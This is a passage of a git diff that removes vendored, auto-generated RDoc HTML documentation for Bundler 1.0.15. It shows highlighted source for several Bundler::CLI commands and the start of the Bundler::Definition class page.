-185:         <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_lockfile</span>.<span class="ruby-identifier">exist?</span>
-186:           <span class="ruby-identifier">flag</span> = <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>] <span class="ruby-operator">?</span> <span class="ruby-value str">'--deployment'</span> <span class="ruby-operator">:</span> <span class="ruby-value str">'--frozen'</span>
-187:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">ProductionError</span>, <span class="ruby-node">&quot;The #{flag} flag requires a Gemfile.lock. Please make &quot;</span>                                   <span class="ruby-value str">&quot;sure you have checked your Gemfile.lock into version control &quot;</span>                                   <span class="ruby-value str">&quot;before deploying.&quot;</span>
-188:         <span class="ruby-keyword kw">end</span>
-189: 
-190:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;vendor/cache&quot;</span>).<span class="ruby-identifier">exist?</span>
-191:           <span class="ruby-identifier">opts</span>[<span class="ruby-value">:local</span>] = <span class="ruby-keyword kw">true</span>
-192:         <span class="ruby-keyword kw">end</span>
-193: 
-194:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:frozen</span>] = <span class="ruby-value str">'1'</span>
-195:       <span class="ruby-keyword kw">end</span>
-196: 
-197:       <span class="ruby-comment cmt"># When install is called with --no-deployment, disable deployment mode</span>
-198:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>] <span class="ruby-operator">==</span> <span class="ruby-keyword kw">false</span>
-199:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value">:frozen</span>)
-200:         <span class="ruby-identifier">opts</span>[<span class="ruby-value">:system</span>] = <span class="ruby-keyword kw">true</span>
-201:       <span class="ruby-keyword kw">end</span>
-202: 
-203:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>] = <span class="ruby-keyword kw">nil</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:system</span>]
-204:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>] = <span class="ruby-value str">&quot;vendor/bundle&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>]
-205:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>] = <span class="ruby-identifier">path</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span>
-206:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>] = <span class="ruby-identifier">opts</span>[<span class="ruby-value">:path</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:path</span>]
-207:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:bin</span>] = <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;binstubs&quot;</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:binstubs</span>]
-208:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:no_prune</span>] = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;no-prune&quot;</span>]
-209:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:disable_shared_gems</span>] = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>] <span class="ruby-operator">?</span> <span class="ruby-value str">'1'</span> <span class="ruby-operator">:</span> <span class="ruby-keyword kw">nil</span>
-210:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">without</span> = <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>] <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">empty?</span>
-211:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">be_quiet!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:quiet</span>]
-212: 
-213:       <span class="ruby-constant">Installer</span>.<span class="ruby-identifier">install</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>, <span class="ruby-identifier">opts</span>)
-214:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">cache</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;vendor/cache&quot;</span>).<span class="ruby-identifier">exist?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;no-cache&quot;</span>]
-215: 
-216:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>]
-217:         <span class="ruby-identifier">relative_path</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:path</span>]).<span class="ruby-identifier">sub</span>(<span class="ruby-node">/^#{File.expand_path('.')}/</span>, <span class="ruby-value str">'.'</span>)
-218:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;Your bundle is complete! &quot;</span> <span class="ruby-operator">+</span>
-219:           <span class="ruby-node">&quot;It was installed into #{relative_path}&quot;</span>
-220:       <span class="ruby-keyword kw">else</span>
-221:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;Your bundle is complete! &quot;</span> <span class="ruby-operator">+</span>
-222:           <span class="ruby-value str">&quot;Use `bundle show [gemname]` to see where a bundled gem is installed.&quot;</span>
-223:       <span class="ruby-keyword kw">end</span>
-224: 
-225:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span>
-226:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;The path argument to `bundle install` is deprecated. &quot;</span> <span class="ruby-operator">+</span>
-227:           <span class="ruby-value str">&quot;It will be removed in version 1.1. &quot;</span> <span class="ruby-operator">+</span>
-228:           <span class="ruby-node">&quot;Please use `bundle install --path #{path}` instead.&quot;</span>
-229:       <span class="ruby-keyword kw">end</span>
-230:     <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">GemNotFound</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-231:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:local</span>] <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_cache</span>.<span class="ruby-identifier">exist?</span>
-232:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Some gems seem to be missing from your vendor/cache directory.&quot;</span>
-233:       <span class="ruby-keyword kw">end</span>
-234: 
-235:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>.<span class="ruby-identifier">no_sources?</span>
-236:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Your Gemfile doesn't have any sources. You can add one with a line like 'source :rubygems'&quot;</span>
-237:       <span class="ruby-keyword kw">end</span>
-238:       <span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>
-239:     <span class="ruby-keyword kw">end</span></pre>
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-			</div>
-
-		
-			<div id="lock-method" class="method-detail ">
-				<a name="method-i-lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">lock</span><span
-						class="method-args">()</span>
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-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 277</span>
-277:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">lock</span>
-278:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Lock is deprecated. Your bundle is now locked whenever you run `bundle install`.&quot;</span>
-279:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="open-method" class="method-detail ">
-				<a name="method-i-open"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">open</span><span
-						class="method-args">(name)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					
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-					<div class="method-source-code"
-						id="open-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 416</span>
-416:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">open</span>(<span class="ruby-identifier">name</span>)
-417:       <span class="ruby-identifier">editor</span> = [<span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLER_EDITOR'</span>], <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'VISUAL'</span>], <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'EDITOR'</span>]].<span class="ruby-identifier">find</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">e</span><span class="ruby-operator">|</span> <span class="ruby-operator">!</span><span class="ruby-identifier">e</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">e</span>.<span class="ruby-identifier">empty?</span> }
-418:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">editor</span>
-419:         <span class="ruby-identifier">gem_path</span> = <span class="ruby-identifier">locate_gem</span>(<span class="ruby-identifier">name</span>)
-420:         <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">gem_path</span>) <span class="ruby-keyword kw">do</span>
-421:           <span class="ruby-identifier">command</span> = <span class="ruby-node">&quot;#{editor} #{gem_path}&quot;</span>
-422:           <span class="ruby-identifier">success</span> = <span class="ruby-identifier">system</span>(<span class="ruby-identifier">command</span>)
-423:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Could not run '#{command}'&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">success</span>
-424:         <span class="ruby-keyword kw">end</span>
-425:       <span class="ruby-keyword kw">else</span>
-426:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span>(<span class="ruby-value str">&quot;To open a bundled gem, set $EDITOR or $BUNDLER_EDITOR&quot;</span>)
-427:       <span class="ruby-keyword kw">end</span>
-428:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="package-method" class="method-detail ">
-				<a name="method-i-package"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">package</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="package-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 326</span>
-326:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">package</span>
-327:       <span class="ruby-identifier">install</span>
-328:       <span class="ruby-comment cmt"># TODO: move cache contents here now that all bundles are locked</span>
-329:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">cache</span>
-330:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="show-method" class="method-detail ">
-				<a name="method-i-show"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">show</span><span
-						class="method-args">(gem_name = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="show-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 291</span>
-291:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">show</span>(<span class="ruby-identifier">gem_name</span> = <span class="ruby-keyword kw">nil</span>)
-292:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">lock</span>
-293: 
-294:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">gem_name</span>
-295:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-identifier">locate_gem</span>(<span class="ruby-identifier">gem_name</span>)
-296:       <span class="ruby-keyword kw">else</span>
-297:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;Gems included by the bundle:&quot;</span>
-298:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> }.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-299:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;  * #{s.name} (#{s.version}#{s.git_version})&quot;</span>
-300:         <span class="ruby-keyword kw">end</span>
-301:       <span class="ruby-keyword kw">end</span>
-302:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="unlock-method" class="method-detail ">
-				<a name="method-i-unlock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">unlock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
-					
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-					
-					<div class="method-source-code"
-						id="unlock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 282</span>
-282:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">unlock</span>
-283:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Unlock is deprecated. To update to newer gem versions, use `bundle update`.&quot;</span>
-284:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="update-method" class="method-detail ">
-				<a name="method-i-update"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">update</span><span
-						class="method-args">(*gems)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="update-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 259</span>
-259:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">update</span>(*<span class="ruby-identifier">gems</span>)
-260:       <span class="ruby-identifier">sources</span> = <span class="ruby-constant">Array</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:source</span>])
-261: 
-262:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">gems</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">sources</span>.<span class="ruby-identifier">empty?</span>
-263:         <span class="ruby-comment cmt"># We're doing a full update</span>
-264:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>(<span class="ruby-keyword kw">true</span>)
-265:       <span class="ruby-keyword kw">else</span>
-266:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>(<span class="ruby-value">:gems</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">gems</span>, <span class="ruby-value">:sources</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">sources</span>)
-267:       <span class="ruby-keyword kw">end</span>
-268: 
-269:       <span class="ruby-identifier">opts</span> = {<span class="ruby-value str">&quot;update&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>, <span class="ruby-value str">&quot;local&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:local</span>]}
-270:       <span class="ruby-constant">Installer</span>.<span class="ruby-identifier">install</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>, <span class="ruby-identifier">opts</span>
-271:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">cache</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;vendor/cache&quot;</span>).<span class="ruby-identifier">exist?</span>
-272:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;Your bundle is updated! &quot;</span> <span class="ruby-operator">+</span>
-273:         <span class="ruby-value str">&quot;Use `bundle show [gemname]` to see where a bundled gem is installed.&quot;</span>
-274:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-				
-
-				
-			</div>
-
-		
-			<div id="version-method" class="method-detail ">
-				<a name="method-i-version"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">version</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="version-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 440</span>
-440:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">version</span>
-441:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Bundler version #{Bundler::VERSION}&quot;</span>
-442:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="viz-method" class="method-detail ">
-				<a name="method-i-viz"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">viz</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="viz-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 454</span>
-454:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">viz</span>
-455:       <span class="ruby-identifier">output_file</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>])
-456:       <span class="ruby-identifier">graph</span> = <span class="ruby-constant">Graph</span>.<span class="ruby-identifier">new</span>( <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span> )
-457: 
-458:       <span class="ruby-keyword kw">begin</span>
-459:         <span class="ruby-identifier">graph</span>.<span class="ruby-identifier">viz</span>(<span class="ruby-identifier">output_file</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:version</span>], <span class="ruby-identifier">options</span>[<span class="ruby-value">:requirements</span>])
-460:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-identifier">output_file</span>
-461:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">LoadError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-462:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">inspect</span>
-463:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Make sure you have the graphviz ruby gem. You can install it with:&quot;</span>
-464:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;`gem install ruby-graphviz`&quot;</span>
-465:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">StandardError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-466:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">message</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/GraphViz not installed or dot not in PATH/</span>
-467:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">message</span>
-468:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;The ruby graphviz gem requires GraphViz to be installed&quot;</span>
-469:         <span class="ruby-keyword kw">else</span>
-470:           <span class="ruby-identifier">raise</span>
-471:         <span class="ruby-keyword kw">end</span>
-472:       <span class="ruby-keyword kw">end</span>
-473:     <span class="ruby-keyword kw">end</span></pre>
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-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="have-groff--method" class="method-detail ">
-				<a name="method-i-have_groff%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">have_groff?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="method-description">
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-						id="have-groff--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 507</span>
-507:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">have_groff?</span>
-508:       <span class="ruby-operator">!</span>(<span class="ruby-value">`which groff`</span> <span class="ruby-keyword kw">rescue</span> <span class="ruby-value str">''</span>).<span class="ruby-identifier">empty?</span>
-509:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">locate_gem</span><span
-						class="method-args">(name)</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 511</span>
-511:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">locate_gem</span>(<span class="ruby-identifier">name</span>)
-512:       <span class="ruby-identifier">spec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">find</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">name</span> }
-513:       <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">&quot;Could not find gem '#{name}' in the current bundle.&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>
-514:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-515:         <span class="ruby-keyword kw">return</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">'../../../'</span>, <span class="ruby-keyword kw">__FILE__</span>)
-516:       <span class="ruby-keyword kw">end</span>
-517:       <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_gem_path</span>
-518:     <span class="ruby-keyword kw">end</span></pre>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Definition.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Definition.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Definition.html
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-<?xml version="1.0" encoding="utf-8"?>
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Definition</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
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-	<script src="../js/darkfish.js" type="text/javascript"
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-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
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-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/definition_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/definition.rb">lib/bundler/definition.rb</a></li>
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-					</ul>
-				</div>
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-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-build">::build</a></li>
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-converge_dependencies">#converge_dependencies</a></li>
-					
-					<li><a href="#method-i-converge_locked_specs">#converge_locked_specs</a></li>
-					
-					<li><a href="#method-i-converge_sources">#converge_sources</a></li>
-					
-					<li><a href="#method-i-current_dependencies">#current_dependencies</a></li>
-					
-					<li><a href="#method-i-ensure_equivalent_gemfile_and_lockfile">#ensure_equivalent_gemfile_and_lockfile</a></li>
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-					<li><a href="#method-i-expand_dependencies">#expand_dependencies</a></li>
-					
-					<li><a href="#method-i-expanded_dependencies">#expanded_dependencies</a></li>
-					
-					<li><a href="#method-i-groups">#groups</a></li>
-					
-					<li><a href="#method-i-in_locked_deps%3F">#in_locked_deps?</a></li>
-					
-					<li><a href="#method-i-index">#index</a></li>
-					
-					<li><a href="#method-i-lock">#lock</a></li>
-					
-					<li><a href="#method-i-missing_specs">#missing_specs</a></li>
-					
-					<li><a href="#method-i-new_platform%3F">#new_platform?</a></li>
-					
-					<li><a href="#method-i-new_specs">#new_specs</a></li>
-					
-					<li><a href="#method-i-no_sources%3F">#no_sources?</a></li>
-					
-					<li><a href="#method-i-pretty_dep">#pretty_dep</a></li>
-					
-					<li><a href="#method-i-removed_specs">#removed_specs</a></li>
-					
-					<li><a href="#method-i-requested_dependencies">#requested_dependencies</a></li>
-					
-					<li><a href="#method-i-requested_specs">#requested_specs</a></li>
-					
-					<li><a href="#method-i-resolve">#resolve</a></li>
-					
-					<li><a href="#method-i-resolve_remotely%21">#resolve_remotely!</a></li>
-					
-					<li><a href="#method-i-resolve_with_cache%21">#resolve_with_cache!</a></li>
-					
-					<li><a href="#method-i-rubygems_index">#rubygems_index</a></li>
-					
-					<li><a href="#method-i-satisfies_locked_spec%3F">#satisfies_locked_spec?</a></li>
-					
-					<li><a href="#method-i-sorted_sources">#sorted_sources</a></li>
-					
-					<li><a href="#method-i-specs">#specs</a></li>
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-					<li><a href="#method-i-specs_for">#specs_for</a></li>
-					
-					<li><a href="#method-i-to_lock">#to_lock</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-			<div id="includes-section" class="section">
-				<h3 class="section-header">Included Modules</h3>
-				<ul class="link-list">
-				
-				
-					<li><span class="include">GemHelpers</span></li>
-				
-				
-				</ul>
-			</div>
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
